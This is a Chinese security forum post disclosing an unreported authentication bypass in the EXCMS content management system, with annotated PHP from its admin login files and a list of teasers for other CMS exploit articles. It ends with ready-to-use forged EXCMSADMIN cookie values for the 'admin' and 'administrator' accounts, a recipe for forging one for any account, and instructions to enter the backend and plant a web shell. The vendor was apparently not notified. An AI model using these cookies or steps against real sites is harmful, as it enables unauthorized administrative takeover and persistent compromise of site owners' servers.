EXCMS 0day (过程精彩)

所属分类: 网络安全 / 漏洞分析 阅读数: 140
收藏 0 赞 0 分享

  以下版本没测试 测试的是最新版本

  在公布前几小时没有通知官方 ^_^ 哈哈

  为什么说过程精彩呢? 看完就明白!

  因为这个漏洞原因非一般! 同时映射出中国软件行业的悲哀!!!

  经典对白 看代码

  后台登录文件

  adminModulesAuthIndex.php

  

  if ( defined( "EXCMS" ) ) //在admin/index.php里有了 下面文件都是包含运行方式的

  {

  }

  if ( !defined( "EXCMS_ADMIN" ) )

  {

  exit( "Access Denied" );

  }

  $excms_action['title'] = "登录"; //标题

  $forward = $_GET['forward']; //登录后转跳的地方

  $verifycode = $EXCMS_CONFIG['login_verifycode']; //验证码。。。

  if ( $_POST['loginType'] != 1 && !empty( $_COOKIE['EXCMSADMIN'] ) )

  //迈下伏笔了!

  {

  $defaultBoxDisplay = "none";

  $BoxDisplay = "";

  $remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] );

  //看到这里没? 神奇把?

  $remeberAdmin = $remeberInfo[0];

  $remeberPwd = $remeberInfo[1];

  //账号密码获取了(COOKIES方式?) 看下去将会发生的事情很惊天地!

  $pwdForever = strtoupper( md5( $remeberAdmin." love EXCMS forever" ) );

  //这就是中国特色! 作者 你知道良心2个字什么写吗? 你知道什么叫道德吗?

  $remeberPwd = $remeberPwd == $pwdForever ? true : false;

  $loginInputDispay = $remeberPwd ? "none" : "";

  $loginType = $remeberPwd ? 3 : 2;

  }

  else

  {

  $defaultBoxDisplay = "";

  $BoxDisplay = "none";

  $loginInputDispay = "none";

  $loginType = 1;

  }

  //下面是输出登录界面的

  然后是CheckLogin.php 验证登录文件

  经典对白 看代码!

  

  if ( defined( "EXCMS" ) )//index.php有了

  {

  }

  if ( !defined( "EXCMS_ADMIN" ) )

  {

  exit( "Access Denied" );

  }

  $excms_action['loadtpl'] = true;

  $adminname = trim( $param['adminname'] );

  $password = trim( $param['loginType'] == 2 ? $param['password1'] : $param['password'] );

  $rememberPwd = $param['loginType'] == 2 ? $param['savePwd'] : $param['rememberPwd'];

  $forward = $param['forward'];

  $login_fail = true;

  $error = "";

  //以上东西不用理 $param都是POST方式的

  if ( empty( $adminname ) )

  //检测账户是否为空

  {

  $error = getlangbyname( "EMPTY_ADMINNAME" );

  }

  else if ( $param['loginType'] != 3 && empty( $password ) )

  //检测这个什么东西 可能是步骤把 是否第3步和密码是否是空

  {

  $error = getlangbyname( "EMPTY_PASSWORD" );

  }

  else

  {

  if ( $param['loginType'] == 3 )

  {

  //以下内容绝非因失误做成的漏洞 以这个程序编写技术 没可能这样 可以找任何PHP高手鉴证

  $remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] );

  $remeberAdmin = $remeberInfo[0];

  $remeberPwd = $remeberInfo[1];

  //账号密码从COOKIES里获取!

  $pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );

  if ( $remeberPwd == $pwdForever )

  //COOKIES里的账号加密过程 比ESPCMS还简单~~

  {

  include_once( LIB_PATH."system/Admin.class.php" );

  $admin_obj = new Admin( );

  $admin = $admin_obj->getByAdminname( $adminname );

  //悲剧! 只验证了管理员账号 没有验证密码!!!

  if ( $admin )

  {

  $admin['acl'] = $admin_obj->getAdminACL( $admin['adminid'] );

  $_SESSION['admininfo'] = $admin;

  //获得管理员权限了!!!!!!!!!

  ++$_SESSION['admininfo']['logintimes'];

  $admin_obj->updateLastLogin( $admin['adminid'] );

  include_once( LIB_PATH."auth/Auth.class.php" );

  $auth = new Auth( );

  $auth->checkMenu( true );

  $excms_action['loadtpl'] = false;

  $login_fail = false;

  }

  }

  }

  else

  //跳过没有COKIES 下面就是真正的验证登录状态 请注意 是有验证密码的!

  {

  if ( $EXCMS['config']['login_verifycode'] )

  {

  $param['verifycode'] = trim( $param['verifycode'] );

  if ( $param['verifycode'] == "" )

  {

  $error = getlangbyname( "EMPTY_VERIFYCODE" );

  }

  else

  {

  include_once( LIB_PATH."util/CheckCode.class.php" );

  $checkcode = new CheckCode( );

  if ( !$checkcode->check( $param['verifycode'] ) )

  {

  $error = getlangbyname( "VERIFYCODE_FAILED" );

  }

  }

  }

  if ( empty( $error ) )

  {

  include_once( LIB_PATH."auth/Auth.class.php" );

  $auth = new Auth( );

  $loginMsg = $auth->Login( $adminname, $password );

  if ( $loginMsg['success'] )

  {

  $_SESSION['admininfo'] = $loginMsg['admininfo'];

  ++$_SESSION['admininfo']['logintimes'];

  $auth->checkMenu( true );

  if ( $rememberPwd == 1 )

  {

  $pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );

  setcookie( "EXCMSADMIN", $adminname."&".$pwdForever, time( ) + 2592000 );

  }

  else if ( $param['loginType'] != 2 && $param['rememberMe'] == 1 )

  {

  setcookie( "EXCMSADMIN", $adminname, time( ) + 2592000 );

  }

  $login_fail = false;

  $excms_action['loadtpl'] = false;

  }

  else

  {

  $error = getlangbyname( $loginMsg['message'] );

  }

  }

  }

  }

  if ( !$login_fail )

  {

  if ( empty( $forward ) || strpos( $forward, "index.php?M=Auth" ) )

  {

  header( "Location:index.php", true );

  exit( );

  }

  header( "Location:".$forward, true );

  exit( );

  }

  $errorCls = "f";

  if ( $excms_action['loadtpl'] )

  {

  if ( !$error )

  {

  $error = getlangbyname( "LOGIN_FAILED" );

  }

  require( MODULES_PATH."Auth/Index.php" );

  }

  ?>

  //分析完毕

  最后给出EXP

  EXCMSADMIN=admin%26858A611C5651AC436D4450CE23A858D1;

  EXCMSADMIN=administrator%263E0331271F1133F9613BD49E7C4FB0CD;

  第1个是admin

  第2个是administrator 一般 就这2个 其他账号的话请自行结构

  结构方法 setcookie( "EXCMSADMIN", md5( 账号." love EXCMS forever" ) );

  然后 strtoupper一次 就是把字母都变大写

  修改COOKIES 直接进入后台 然后自定义页面 写入网马

  后语 这个COOKIES“漏洞”并非是记住管理登录状态

  记住管理登录的COOKIES是 SESSION ID 验证这个

  所以这个漏洞100%是作者留下的后门!

 

更多精彩内容其他人还在看

DEDECMS任意修改文章漏洞(exp)

  这个漏洞不足以得到马儿 但能修改任何文章 也算是一个严重的漏洞!   废话不说   经典对白 看代码!   membersoft_edit.php   01if(empty($dopost)) //如果这里是空也就是直接访问这个文件   02{   03 //读取归档信息  
收藏 0 赞 0 分享

eWebeditor漏洞的修补

  漏洞原理   漏洞的利用原理很简单,请看Upload.asp文件:   任何情况下都不允许上传asp脚本文件   sAllowExt = Replace(UCase(sAllowExt), "ASP", "")   修补方法:用以下语句
收藏 0 赞 0 分享

发掘MaosinCMS网站系统漏洞与测试

  最近的动易CMS漏洞可以说着实火了一把,本文写的CMS虽然没有动易功能强大,但同样存在注入漏洞。这种漏洞用工具是扫不到的,可以说注入已经由显式转为隐式了,必须查看源代码才有可能发现潜在的漏洞。   适合读者:入侵爱好者前置知识:无发掘MaosinCMS网站系统漏
收藏 0 赞 0 分享

关于bo-blog的安全隐患

  bo-blog是一款外观好看,而且当前流行的个人博客系统,在很多下载站你都可以找到这套程序,而且甚至有很多安全界的人都使用着这套php+txt的程序,但是这套程序里有些安全隐患,可能会被人利用去做一些破坏。   首先开门见山,我们说说它的绝对路径暴露问题.......
收藏 0 赞 0 分享

野草weedcmsV5.2.1 任意删除文件漏洞

  member.php   if($action=='edit_member_ok'){ //member.php?action=edit_member_ok   check_request(); //检查来路   if(!check_login()){ //检测是否登录会员
收藏 0 赞 0 分享

EimsCms v5.0 XSS+CSRF获取Shell方法

  影响版本:EimsCms v5.0   官方网站:http://www.eimscms.com/   漏洞类型:跨站XSS   漏洞描述:未对Book.asp邮箱等处进行符号转义,导致XSS跨站执行漏洞。   ------GetShell-----   [1] 在Book.a
收藏 0 赞 0 分享

动易4.03上传漏洞

  动易4.03上传漏洞。2005-1-10 就出来了,一直没有公布。   看黑客防线的攻关第3关用的是动易所有公布出来了。   影响版本: 动易4.03   上面的是动易的上传代码,从上面分析,我们可以看到,它明显存在着上传漏洞。重要的漏洞代   码在于这一句   FileEx
收藏 0 赞 0 分享

利用%5c绕过验证

  说到%5c,你是不是想起了当前流行的那个%5c暴库漏洞,呵呵,本文就是对%5c利用的探索(呵呵,当然有我提出的新东东,或许对你有帮助哦^_^)。   好,我们先追根溯源,找到那个漏洞的老底。看看绿盟2001年的漏洞公告:_bug&do=view&bug_id=
收藏 0 赞 0 分享

DISCUZ X1.5 本地文件包含漏洞

  DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存。   config_global.php   $_config['cache']['type'] = ‘file’;   function cachedata($cachenam
收藏 0 赞 0 分享

PHP在安全方面的另类应用

  1.远程文件   PHP是一门具有丰富特性的语言,它提供了大量函数,使程序员能够方便地实现各种功能,远程文件就是一个很好的例子:   代码      $fp=@Fopen($url,"r") or die ("cannot open $url&q
收藏 0 赞 0 分享
查看更多